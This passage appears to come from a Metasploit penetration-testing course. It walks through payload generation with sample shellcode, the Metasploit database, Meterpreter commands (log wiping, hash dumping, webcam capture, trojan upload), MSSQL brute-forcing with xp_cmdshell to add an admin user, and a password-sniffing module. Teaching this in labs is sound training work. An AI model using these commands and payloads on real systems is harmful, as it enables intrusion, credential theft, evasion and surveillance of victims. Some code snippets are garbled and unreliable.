value we wish to change. Let’s take a look at which options we can change for this payload. From the msfconsole
we’ll issue the ‘show options’ command.
By default our shell will listen on port ‘4444’ and the exit function is ‘process’. We’ll change this to port
‘1234’ and ‘seh’ exit function using the ‘-o’. The syntax is VARIABLE=VALUE separated by a comma between
each option. In this case both the listening port and exit function are changed so the following syntax is used
‘LPORT=1234,EXITFUNC=seh’.
Finally lets take a look at the NOP sled length and output format options. When generating payloads the default output
format given is ‘ruby’. Although the ruby language is extremely powerful and popular, not everyone codes in it. We
have the capacity to tell the framework to give our payload in different coding formats such as Perl, C and Java for
example. Adding a NOP sled at the beginning is also possible when generating our shellcode.
First let’s look at a few different output formats and see how the ‘-t‘ switch is used. Like all the other options all that
needs to be done is type in the switch followed by the format name as displayed in the help menu.
(byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64, (byte) 0x8b, (byte) 0x52,
˓→(byte) 0x30, (byte) 0x8b,
(byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b,
˓→(byte) 0x72, (byte) 0x28,
(byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff,
˓→(byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c,
˓→(byte) 0x20, (byte) 0xc1,
...snip...
Looking at the output for the different programming languages, we see that each output adheres to their respective
language syntax. A hash ‘#’ is used for comments in Ruby but in C it’s replaced with the slash and asterisk characters
‘/*’ syntax. Looking at all three outputs, the arrays are properly declared for the language format selected. Making it
ready to be copy & pasted into your script.
Adding a NOP (No Operation or Next Operation) sled is accomplished with the ‘-s‘ switch followed by the number of
NOPs. This will add the sled at the beginning of our payload. Keep in mind the larger the sled the larger the shellcode
will be. So adding a 10 NOPs will add 10 bytes to the total size.
The first line of the buf of the second payload text shows us our NOP sled at the payload’s beginning. Comparing the
next 3 lines with the shellcode just above, we see they are exactly the same. Total bytes, as expected, grew by exactly
14 bytes.
Metasploit database
Setup
In Kali, you will need to start up the postgresql server before using the database.
root@kali:~# systemctl start postgresql
After starting postgresql you need to create and initialize the msf database with msfdb init
root@kali:~# msfdb init
Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema
When we load up msfconsole, and run ‘db_status‘, we can confirm that Metasploit is successfully connected to the
database.
msf > db_status
[*] postgresql connected to msf
Seeing this capability is a meant to keep track of our activities and scans in order. It’s imperative we start off on the
right foot. Once connected to the database, we can start organizing our different movements by using what are called
‘workspaces’. This gives us the ability to save different scans from different locations/networks/subnets for example.
Issuing the ‘workspace‘ command from the msfconsole, will display the currently selected workspaces. The ‘default‘
workspace is selected when connecting to the database, which is represented by the * beside its name.
msf > workspace
* default
msfu
lab1
(continues on next page)
As we can see this can be quite handy when it comes to keeping things ‘neat’. Let’s change the current workspace to
‘msfu’.
msf > workspace msfu
[*] Workspace: msfu
msf > workspace
default
* msfu
lab1
lab2
lab3
lab4
msf >
Creating and deleting a workspace one simply uses the ‘-a‘ or ‘-d‘ followed by the name at the msfconsole prompt.
msf > workspace -a lab4
[*] Added workspace: lab4
msf >
It’s that simple, using the same command and adding the ‘-h‘ switch will provide us with the command’s other
capabilities.
msf > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r Rename workspace
workspace -h Show this help information
msf >
From now on any scan or imports from 3rd party applications will be saved into this workspace.
Now that we are connected to our database and workspace setup, lets look at populating it with some data. First we’ll
look at the different ‘db_’ commands available to use using the ‘help’ command from the msfconsole.
msf > help
...snip...
There are several ways we can do this, from scanning a host or network directly from the console, or importing a file
from an earlier scan. Let’s start by importing an nmap scan of the ‘metasploitable 2’ host. This is done using the
‘db_import‘ followed by the path to our file.
Hosts
=====
msf >
Once completed we can confirm the import by issuing the ‘hosts’ command. This will display all the hosts stored in
our current workspace. We can also scan a host directly from the console using the ‘db_nmap’ command. Scan results
will be saved in our current database. The command works the same way as the command line version of ‘nmap’
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.91 seconds
msf >
Hosts
=====
msf >
Exporting our data outside the Metasploit environment is very simple. Using the ‘db_export‘ command all our gathered
information can be saved in a XML file. This format can be easily used and manipulated later for reporting purposes.
The command has 2 outputs, the ‘xml‘ format which will export all of the information currently stored in our active
workspace, and the ‘pwdump‘ format which exports everything related to used/gathered credentials.
Now that we can import and export information to and from our database, let us look at how we can use this information
within the msfconsole. Many commands are available to search for specific information stored in our database. Hosts
names, address, discovered services etc. We can even use the resulting data to populate module settings such as
RHOSTS. We’ll look how this is done a bit later.
The ‘hosts‘ command was used earlier to confirm the presence of data in our database. Let’s look at the different
options available and see how we use it to provide us with quick and useful information. Issuing the command with
‘-h’ will display the help menu.
OPTIONS:
-a,--add Add the hosts instead of searching
-d,--delete Delete the hosts instead of searching
-c <col1,col2> Only show the given columns (see list below)
-h,--help Show this help information
-u,--up Only show hosts which are up
-o Send output to a file in csv format
-O Order rows by specified column number
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
-i,--info Change the info of a host
-n,--name Change the name of a host
-m,--comment Change the comment of a host
-t,--tag Add or specify a tag to a range of hosts
We’ll start by asking the ‘hosts‘ command to display only the IP address and OS type using the ‘-c‘ switch.
Hosts
=====
address os_flavor
------- ---------
172.16.194.134 XP
172.16.194.172 Ubuntu
Setting up Modules
Another interesting feature available to us, is the ability to search all our entries for something specific. Imagine if we
wished to find only the Linux based machines from our scan. For this we’d use the ‘-S‘ option. This option can be
combined with our previous example and help fine tune our results.
Hosts
(continues on next page)
address os_flavor
------- ---------
172.16.194.172 Ubuntu
msf >
Using the output of our previous example, we’ll feed that into the ‘tcp’ scan auxiliary module.
We can see by default, nothing is set in ‘RHOSTS‘, we’ll add the ‘-R‘ switch to the hosts command and run the
module. Hopefully it will run and scan our target without any problems.
Hosts
=====
address os_flavor
------- ---------
172.16.194.172 Ubuntu
...snip...
Of course this also works if our results contain more than one address.
Hosts
=====
You can see how useful this may be if our database contained hundreds of entries. We could search for Windows
machines only, then set the RHOSTS option for the smb_version auxiliary module very quickly. The set RHOSTS
switch is available in almost all of the commands that interact with the database.
Services
Another way to search the database is by using the ‘services‘ command. Like the previous examples, we can extract
very specific information with little effort.
Usage: services [-h] [-u] [-a] [-r ] [-p >port1,port2>] [-s >name1,name2>] [-o ]
˓→[addr1 addr2 ...]
Much in the same way as the hosts command, we can specify which fields to be displayed. Coupled with the ‘-S‘
switch, we can also search for a service containing a particular string.
Services
========
Here we are searching all hosts contained in our database with a service name containing the string ‘http’.
Services
========
The combinations for searching are enormous. We can use specific ports, or port ranges. Full or partial service
name when using the ‘-s’ or ‘-S’ switches. For all hosts or just a select few. . . The list goes on and on. Here are a
few examples, but you may need to experiment with these features in order to get what you want and need out your
searches.
Services
========
CSV Export
Both the hosts and services commands give us a means of saving our query results into a file. The file format is a
comma separated value, or CSV. Followed by the ‘-o’ with path and filename, the information that has been displayed
on the screen at this point will now be saved to disk.
address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","",""
host,port
"172.16.194.134","80"
"172.16.194.134","443"
Creds
The ‘creds’ command is used to manage found and used credentials for targets in our database. Running this command
without any options will display currently saved credentials.
Credentials
===========
As with ‘db_nmap‘ command, successful results relating to credentials will be automatically saved to our active
workspace. Let’s run the auxiliary module ‘mysql_login‘ and see what happens when Metasploit scans our server.
Credentials
===========
We can see the module was able to connect to our mysql server, and because of this Metasploit saved the credentials
in our database automatically for future reference.
During post-exploitation of a host, gathering user credentials is an important activity in order to further penetrate a
target network. As we gather sets of credentials, we can add them to our database with the ‘creds -a’ command.
˓→pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
˓→active=true
Credentials
===========
host port
user pass
˓→ type active?
---- ---- ---- ----
˓→ ---- -------
172.16.194.134 445 Administrator
˓→7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: password true
Loot
Once you’ve compromised a system (or three), one of the objective may be to retrieve hash dumps. From either a
Windows or *nix system. In the event of a successful hash dump, this information will be stored in our database. We
can view this dumps using the ‘loot’ command. As with almost every command, adding the ‘-h’ switch will display a
little more information.
Here’s an example of how one would populate the database with some ‘loot’.
^Z
Background session 1? [y/N] y
Active sessions
===============
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/
˓→bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_
˓→linux.hashes_264208.txt
Loot
====
Meterpreter
Since the Meterpreter provides a whole new environment, we will cover some of the basic Meterpreter commands to
get you started and help familiarize you with this most powerful tool. Throughout this course, almost every available
Meterpreter command is covered. For those that aren’t covered, experimentation is the key to successful learning.
help
The ‘help‘ command, as may be expected, displays the Meterpreter help menu.
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
channel Displays information about active channels
...snip...
background
The ‘background‘ command will send the current Meterpreter session to the background and return you to the msf
prompt. To get back to your Meterpreter session, just interact with it again.
meterpreter >
cat
The ‘cat‘ command is identical to the command found on *nix systems. It displays the content of a file when it’s given
as an argument.
Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis
meterpreter >
cd > pwd
The ‘cd‘ > ‘pwd‘ commands are used to change and display current working directly on the target host. The change
directory “cd” works the same way as it does under DOS and *nix systems. By default, the current working folder is
where the connection to your listener was initiated.
meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >
clearev
The ‘clearev‘ command will clear the Application, System, and Security logs on a Windows system. There are no
options or arguments.
meterpreter > clearev
[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...
[*] Wiping 0 records from Security...
meterpreter >
download
The ‘download‘ command downloads a file from the remote machine. Note the use of the double-slashes when giving
the Windows path.
meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >
edit
The ‘edit‘ command opens a file located on the target host. It uses the ‘vim’ so all the editor’s commands are available.
meterpreter > ls
execute
C:\WINDOWS\system32>
getuid
Running ‘getuid‘ will display the user that the Meterpreter server is running as on the host.
hashdump
The ‘hashdump‘ post module will dump the contents of the SAM database.
Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_
˓→388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
idletime
Running ‘idletime‘ will display the number of seconds that the user at the remote machine has been idle.
ipconfig
The ‘ipconfig‘ command displays the network interfaces and addresses on the remote machine.
meterpreter >
The ‘lpwd‘ > ‘lcd‘ commands are used to display and change the local working directory respectively. When receiving
a Meterpreter shell, the local working directory is the location where one started the Metasploit console.
Changing the working directory will give your Meterpreter session access to files located in this folder.
ls
As in Linux, the ‘ls‘ command will list the files in the current remote directory.
meterpreter > ls
migrate
Using the ‘migrate‘ post module, you can migrate to another process on the victim.
ps
meterpreter > ps
Process list
============
resource
The ‘resource‘ command will execute Meterpreter instructions located inside a text file. Containing one entry per line,
“resource” will execute each line in sequence. This can help automate repetitive actions performed by a user.
By default, the commands will run in the current working directory (on target machine) and resource file in the local
working directory (the attacking machine).
search
The ‘search‘ commands provides a way of locating specific files on the target host. The command is capable of
searching through the whole system or specific folders.
Wildcards can also be used when creating the file pattern to search for.
meterpreter > search
[-] You must specify a valid file glob to search for, e.g. >search -f *.doc
meterpreter > search -f autoexec.bat
Found 1 result...
c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...
c:\\xampp\perl\bin\search.bat (57035 bytes)
meterpreter >
shell
The ‘shell‘ command will present you with a standard shell on the target system.
meterpreter > shell
Process 39640 created.
(continues on next page)
C:\WINDOWS\system32>
upload
As with the ‘download‘ command, you need to use double-slashes with the upload command.
meterpreter > upload evil_trojan.exe c:\\windows\\system32
[*] uploading : evil_trojan.exe -> c:\windows\system32
[*] uploaded : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >
webcam_list
The ‘webcam_list‘ command when run from the Meterpreter shell, will display currently available web cams on the
target host.
meterpreter > webcam_list
1: Creative WebCam NX Pro
2: Creative WebCam NX Pro (VFW)
meterpreter >
webcam_snap
The ‘webcam_snap’ command grabs a picture from a connected web cam on the target system, and saves it to disc as
a JPEG image. By default, the save location is the local current working directory with a randomized filename.
meterpreter > webcam_snap -h
Usage: webcam_snap [options]
Grab a frame from the specified webcam.
OPTIONS:
-h Help Banner
-i >opt> The index of the webcam to use (Default: 1)
-p >opt> The JPEG image path (Default: 'gnFjTnzi.jpeg')
-q >opt> The JPEG image quality (Default: '50')
-v >opt> Automatically view the JPEG image (Default: 'true')
meterpreter >
Here are some examples of the Python Extension in action. With time more functionality will be added, making the
extension an even more powerful tool.
With the extension loaded, we can use basic Python function such as print. This can be achieved by using the
“python_execute” command, and standard Python syntax.
You can also save to a variable, and print its content using the “-r” switch.
The following file is located in the “root” folder of our machine. What it does essentially, search the C:drive for any
file called “readme.txt”. Although this can be done with meterpreter’s native “search” command. One observation,
running through the filesystem, has crashed our meterpreter session more than once.
In order to have this file run on our target machine, we need to invoke the “python_import” command. Using the “-f”
switch to specify our script.
Another example, this time printing some memory information, and calling a Windows message box using the “ctypes”
Python module.
Of course, this all depends on the level of access your current meterpreter has. Another simple Python script example,
reads the Window’s registry for the “AutoAdminLogon” key.
Scanners and most other auxiliary modules use the RHOSTS option instead of RHOST. RHOSTS can take IP ranges
(192.168.1.20-192.168.1.30), CIDR ranges (192.168.1.0/24), multiple ranges separated by commas (192.168.1.0/24,
192.168.3.0/24), and line-separated host list files (file:/tmp/hostlist.txt). This is another use for a grepable Nmap output
file.
By default, all of the scanner modules will have the THREADS value set to ‘1’. The THREADS value sets the number
of concurrent threads to use while scanning. Set this value to a higher number in order to speed up your scans or keep
it lower in order to reduce network traffic but be sure to adhere to the following guidelines:
• Keep the THREADS value under 16 on native Win32 systems
• Keep THREADS under 200 when running MSF under Cygwin
• On Unix-like operating systems, THREADS can be set as high as 256.
We can use the db_nmap command to run Nmap against our targets and our scan results would than be stored auto-
matically in our database. However, if you also wish to import the scan results into another application or framework
later on, you will likely want to export the scan results in XML format. It is always nice to have all three Nmap outputs
(xml, grepable, and normal). So we can run the Nmap scan using the ‘-oA‘ flag followed by the desired filename to
generate the three output files, then issue the db_import command to populate the Metasploit database.
Run Nmap with the options you would normally use from the command line. If we wished for our scan to be saved to
our database, we would omit the output flag and use db_nmap. The example below would then be “db_nmap -v -sV
192.168.1.0/24”.
msf > nmap -v -sV 192.168.1.0/24 -oA subnet_1
[*] exec: nmap -v -sV 192.168.1.0/24 -oA subnet_1
Port Scanning
In addition to running Nmap, there are a variety of other port scanners that are available to us within the framework.
msf > search portscan
Matching Modules
================
For the sake of comparison, we’ll compare our Nmap scan results for port 80 with a Metasploit scanning module.
First, let’s determine what hosts had port 80 open according to Nmap.
192.168.1.1
192.168.1.2
192.168.1.10
192.168.1.109
192.168.1.116
192.168.1.150
The Nmap scan we ran earlier was a SYN scan so we’ll run the same scan across the subnet looking for port 80 through
our eth0 interface, using Metasploit.
Here we’ll load up the ‘tcp’ scanner and we’ll use it against another target. As with all the previously mentioned
plugins, this uses the RHOSTS option. Remember we can issue the ‘hosts -R‘ command to automatically set this
option with the hosts found in our database.
Hosts
=====
We can see that Metasploit’s built-in scanner modules are more than capable of finding systems and open ports for
us. It’s just another excellent tool to have in your arsenal if you happen to be running Metasploit on a system without
Nmap installed.
Now that we have determined which hosts are available on the network, we can attempt to determine the operating
systems they are running. This will help us narrow down our attacks to target a specific system and will stop us from
wasting time on those that aren’t vulnerable to a particular exploit.
Since there are many systems in our scan that have port 445 open, we will use the scanner/smb/version module to
determine which version of Windows is running on a target and which Samba version is on a Linux host.
Also notice that if we issue the hosts command now, the newly-acquired information is stored in Metasploit’s database.
Hosts
=====
Idle Scanning
Nmap’s IPID Idle scanning allows us to be a little stealthy scanning a target while spoofing the IP address of another
host on the network. In order for this type of scan to work, we will need to locate a host that is idle on the network
and uses IPID sequences of either Incremental or Broken Little-Endian Incremental. Metasploit contains the module
scanner/ip/ipidseq to scan and look for a host that fits the requirements.
In the free online Nmap book, you can find out more information on Nmap Idle Scanning. https://nmap.org/book/
idlescan.html
Judging by the results of our scan, we have a number of potential zombies we can use to perform idle scanning. We’ll
try scanning a host using the zombie at 192.168.1.109 and see if we get the same results we had earlier.
msf auxiliary(ipidseq) > nmap -Pn -sI 192.168.1.109 192.168.1.114
[*] exec: nmap -Pn -sI 192.168.1.109 192.168.1.114
Searching for and locating MSSQL installations inside the internal network can be achieved using UDP foot-printing.
When MSSQL installs, it installs either on TCP port 1433 or a randomized dynamic TCP port. If the port is dynam-
ically attributed, querying UDP port 1434 will provide us with information on the server including the TCP port on
which the service is listening.
Let us search for and load the MSSQL ping module inside the msfconsole.
msf > search mssql
Matching Modules
================
exploit/windows/mssql/lyris_listmanager_weak_pass 2005-12-08
˓→excellent Lyris ListManager MSDE Weak sa Password
exploit/windows/mssql/ms02_039_slammer 2002-07-24 good
˓→ MS02-039 Microsoft SQL Server Resolution Overflow
exploit/windows/mssql/ms02_056_hello 2002-08-05 good
˓→ MS02-056 Microsoft SQL Server Hello Overflow
exploit/windows/mssql/ms09_004_sp_replwritetovarbin 2008-12-09 good
˓→ MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption
exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli 2008-12-09
˓→excellent MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via
˓→SQL Injection
exploit/windows/mssql/mssql_clr_payload 1999-01-01
˓→excellent Microsoft SQL Server Clr Stored Procedure Payload Execution
exploit/windows/mssql/mssql_linkcrawler 2000-01-01 great
˓→ Microsoft SQL Server Database Link Crawling Command Execution
exploit/windows/mssql/mssql_payload 2000-05-30
˓→excellent Microsoft SQL Server Payload Execution
exploit/windows/mssql/mssql_payload_sqli 2000-05-30
˓→excellent Microsoft SQL Server Payload Execution via SQL Injection
post/windows/gather/credentials/mssql_local_hashdump normal
˓→ Windows Gather Local SQL Server Hash Dump
post/windows/manage/mssql_local_auth_bypass normal
˓→ Windows Manage Local Microsoft SQL Server Authorization Bypass
The first command we issued was to search for any ‘mssql‘ plugins. The second set of instructions was the ‘use
scanner/mssql/mssql_ping‘, this will load the scanner module for us.
Next, ‘show options‘ allows us to see what we need to specify. The ‘set RHOSTS 10.211.55.1/24‘ sets the subnet
range we want to start looking for SQL servers on. You could specify a /16 or whatever you want to go after. We
would recommend increasing the number of threads as this could take a long time with a single threaded scanner.
After the run command is issued, a scan is going to be performed and pull back specific information about the MSSQL
server. As we can see, the name of the machine is “SSHACKTHISBOX-0” and the TCP port is running on 1433.
At this point you could use the scanner/mssql/mssql_login module to brute-force the password by passing the module
a dictionary file. Alternatively, you could also use medusa, or THC-Hydra to do this. Once you successfully guess the
password, there’s a neat little module for executing the xp_cmdshell stored procedure.
msf auxiliary(mssql_login) > use auxiliary/admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > show options
Looking at the output of the ‘net user bacon ihazpassword /ADD’, we have successfully added a user account named
“bacon”, from there we could issue ‘net localgroup administrators bacon /ADD‘ to get a local administrator on the
system itself. We have full control over the system at this point.
SSH Service
A previous scan shows us we have TCP port 22 open on two machines. SSH is very secure but vulnerabilities are not
unheard of and it always pays to gather as much information as possible from your targets.
Services
========
We’ll load up the ‘ssh_version‘ auxiliary scanner and issue the ‘set‘ command to set the ‘RHOSTS‘ option. From
there we can run the module by simple typing ‘run’
FTP Service
Poorly configured FTP servers can frequently be the foothold you need in order to gain access to an entire network so
it always pays off to check to see if anonymous access is allowed whenever you encounter an open FTP port which is
usually on TCP port 21. We’ll set the THREADS to 1 here as we’re only going to scan 1 host.
Services
========
In a short amount of time and with very little work, we are able to acquire a great deal of information about the hosts
residing on our network thus providing us with a much better picture of what we are facing when conducting our
penetration test.
There are obviously too many scanners for us to show case. It is clear however the Metasploit Framework is well
suited for all your scanning and identification needs.
...snip...
Max Moser released a Metasploit password sniffing module named psnuffle that will sniff passwords off the wire
similar to the tool dsniff. It currently supports POP3, IMAP, FTP, and HTTP GET. More information is available on
his blog.
Using the psnuffle module is extremely simple. There are some options available but the module works great “out of
the box”.
Module options:
There are some options available, including the ability to import a PCAP capture file. We will run the psnuffle scanner
in its default mode.
There! We’ve captured a successful FTP login. This is an excellent tool for passive information gathering.
Extending Psnuffle
Psnuffle is easy to extend due to its modular design. This section will guide through the process of developing an IRC
(Internet Relay Chat) protocol sniffer (Notify and Nick messages).
Module location
All the different modules are located in data/exploits/psnuffle. The names are corresponding to the protocol names
used inside psnuffle. To develop our own module, we take a look at the important parts of the existing pop3 sniffer
module as a template.
self.sigs = {
:ok => /^(+OK[^n]*)n/si,
:err => /^(-ERR[^n]*)n/si,
:user => /^USERs+([^n]+)n/si,
:pass => /^PASSs+([^n]+)n/si,
:quit => /^(QUITs*[^n]*)n/si }
This section defines the expression patterns which will be used during sniffing to identify interesting data. Regular
expressions look very strange at the beginning but are very powerful. In short everything within () will be available
within a variable later on in the script.
self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}
For IRC this section would look like the ones above. Not all nickservers are using IDENTIFY to send the password,
but the one on Freenode does.
Session Definition
For every module we first have to define what ports it should handle and how the session should be tracked.
return if not pkt[:tcp] # We don't want to handle anything other than tcp
return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only
˓→packet on port 6667
#Ensure that the session hash stays the same for both way of communication
if (pkt[:tcp].dst_port == 6667) # When packet is sent to server
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#
˓→{pkt[:tcp].src_port}")
end
Now that we have a session object that uniquely consolidates info, we can go on and process packet content that
matched one of the regular expressions we defined earlier.
case matched
when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content
s[:user]=matches #Store the name into the session hash s for later use
# Do whatever you like here... maybe a puts if you need to
when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching
s[:pass]=matches # Store the password into the session hash s as well
if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it
print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#
˓→{s[:pass]}n" (continues on next page)
when nil
# No matches, don't do anything else # Just in case anything else is matching...
sessions[s[:session]].merge!({k => matches}) # Just add it to the session object
end
Continuing with our information gathering, let’s take a look at SNMP Sweeping. SNMP sweeps are often good at
finding a ton of information about a specific system or actually compromising the remote device. If you can find a
Cisco device running a private string for example, you can actually download the entire device configuration, modify
it, and upload your own malicious config. Often the passwords themselves are level 7 encoded, which means they are
trivial to decode and obtain the enable or login password for the specific device.
Metasploit comes with a built in auxiliary module specifically for sweeping SNMP devices. There are a couple of
things to understand before we perform our SNMP scan. First, ‘read only‘ and ‘read write‘ community strings play
an important role in what type of information can be extracted or modified on the devices themselves. If you can
“guess” the read-only or read-write strings, you can obtain quite a bit of access you would not normally have. In
addition, if Windows-based devices are configured with SNMP, often times with the RO/RW community strings,
you can extract patch levels, services running, last reboot times, usernames on the system, routes, and various other
amounts of information that are valuable to an attacker.
Note: By default Metasploitable’s SNMP service only listens on localhost. Many of the examples demonstrated here
will require you to change these default settings. Open and edit “/etc/default/snmpd“, and change the following from:
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'
to
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'
A service restart will be needed in order for the changes to take effect. Once restarted, you will now be able to scan
the service from your attacking machine.
What is a MIB?
When querying through SNMP, there is what is called an MIB API. The MIB stands for the Management Information
Base. This interface allows you to query the device and extract information. Metasploit comes loaded with a list of
default MIBs that it has in its database, it uses them to query the device for more information depending on what level
of access is obtained. Let’s take a peek at the auxiliary module.
msf > search snmp
Matching Modules
================
As we can see here, we were able to find a community string of ‘public‘. This is most likely read-only and doesn’t
reveal a ton of information. We do learn that the device is an APC Web/SNMP device, and what versions it’s running.
SNMP Enum
We can gather lots of information when using SNMP scanning modules such as open ports, services, hostname,
processes, and uptime to name a few. Using our Metasploitable virtual machine as our target, we’ll run the auxil-
iary/scanner/snmp/snmp_enum module and see what information it will provide us. First we load the module and set
the RHOST option using the information stored in our workspace. Using hosts -R will set this options for us.
Host IP : 172.16.194.172
Hostname : metasploitable
Description : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr
˓→10 13:58:00 UTC 2008 i686
Contact : [email protected]
Location : Metasploit Lab
Uptime snmp : 02:35:38.71
Uptime system : 00:20:13.21
System date : 2012-7-9 18:11:11.0
IP forwarding enabled : no
Default TTL : 64
TCP segments received : 19
TCP segments sent : 21
TCP segments retrans : 0
Input datagrams : 5055
Delivered datagrams : 5050
Output datagrams : 4527
...snip...
[*] Processes:
...snip...
5696 runnable su su
5697 runnable bash bash
5747 running snmpd snmpd
The output provided above by our SNMP scan provides us with a wealth of information on our target system. Although
cropped for length, we can still see lots of relevant information about our target such as its processor type, process
IDs, etc.
There are times where you may need a specific network security scanner, or having scan activity conducted within
Metasploit would be easier for scripting purposes than using an external program. Metasploit has a lot of features that
can come in handy for this purpose, like access to all of the exploit classes and methods, built in support for proxies,
SSL, reporting, and built in threading. Think of instances where you may need to find every instance of a password on
a system, or scan for a custom service. Not to mention, it is fairly quick and easy to write up your own custom scanner.
Some of the many Metasploit scanner features are:
• It provides access to all exploit classes and methods
• Support is provided for proxies, SSL, and reporting
• Built-in threading and range scanning
• Easy to write and run quickly
Writing your own scanner module can also be extremely useful during security audits by allowing you to locate every
instance of a bad password or you can scan in-house for a vulnerable service that needs to be patched. Using the
Metasploit Framework will allow you to store this information in the database for organization and later reporting
needs.
We will use this very simple TCP scanner that will connect to a host on a default port of 12345 which can be changed
via the scanner module options at run time. Upon connecting to the server, it sends ‘HELLO SERVER’, receives the
response and prints it out along with the IP address of the remote host.
require 'msf/core'
class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include
˓→Msf::Auxiliary::Scanner def initialize super( 'Name' => 'My custom TCP scan',
def run_host(ip)
connect()
greeting = "HELLO SERVER"
sock.puts(greeting)
data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
disconnect()
end
end
We save the file into our ./modules/auxiliary/scanner/ directory as simple_tcp.rb and load up msfconsole. It’s important
to note two things here. First, modules are loaded at run time, so our new module will not show up unless we restart
our interface of choice. The second being that the folder structure is very important, if we would have saved our
scanner under ./modules/auxiliary/scanner/http/ it would show up in the modules list as scanner/http/simple_tcp.
To test our security scanner, set up a netcat listener on port 12345 and pipe in a text file to act as the server response.
Next, you select your new scanner module, set its parameters, and run it to see the results.
As you can tell from this simple example, this level of versatility can be of great help when you need some custom
code in the middle of a penetration test. The power of the framework and reusable code really shines through here.
The report mixin provides report_*(). These methods depend on a database in order to operate:
• Check for a live database connection
• Check for a duplicate record
• Write a record into the table
The database drivers are now autoloaded.
include Msf::Auxiliary::Report
report_note(
:host => rhost,
:type => "myscanner_password",
:data => data
)
Learning to write your own network security scanners may seem like a daunting task, but as we’ve just shown, the ben-
efits of creating our own auxiliary module to house and run our security scanner will help us in storing and organizing
our data, not to mention help with our report writing during our pentests.
When confronted with a Windows target, identifying which patches have been applied is an easy way of knowing if
regular updates happen. It may also provide information on other possible vulnerabilities present on the system.
An auxiliary module was specifically created for just this task called “enum_patches“. Like any post exploitation
module, it is loaded using the “use” command.
msf exploit(handler) > use post/windows/gather/enum_patches
msf post(enum_patches) > show options
This module also has a few advanced options, which can be displayed by using the “show advanced” command.
msf post(enum_patches) > show advanced
Name : VERBOSE
Current Setting: true
Description : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module
Once a meterpreter session as been initiated with your Windows target, load up the enum_patches module setting the
SESSION option. Once done using the “run” command will launch the module against our target.
msf post(enum_patches) > show options
Vulnerability scanning will allow you to quickly scan a target IP range looking for known vulnerabilities, giving a
penetration tester a quick idea of what attacks might be worth conducting.
When used properly, this is a great asset to a pen tester, yet it is not without it’s draw backs. Vulnerability scanning
is well known for a high false positive and false negative rate. This has to be kept in mind when working with any
vulnerability scanning software.
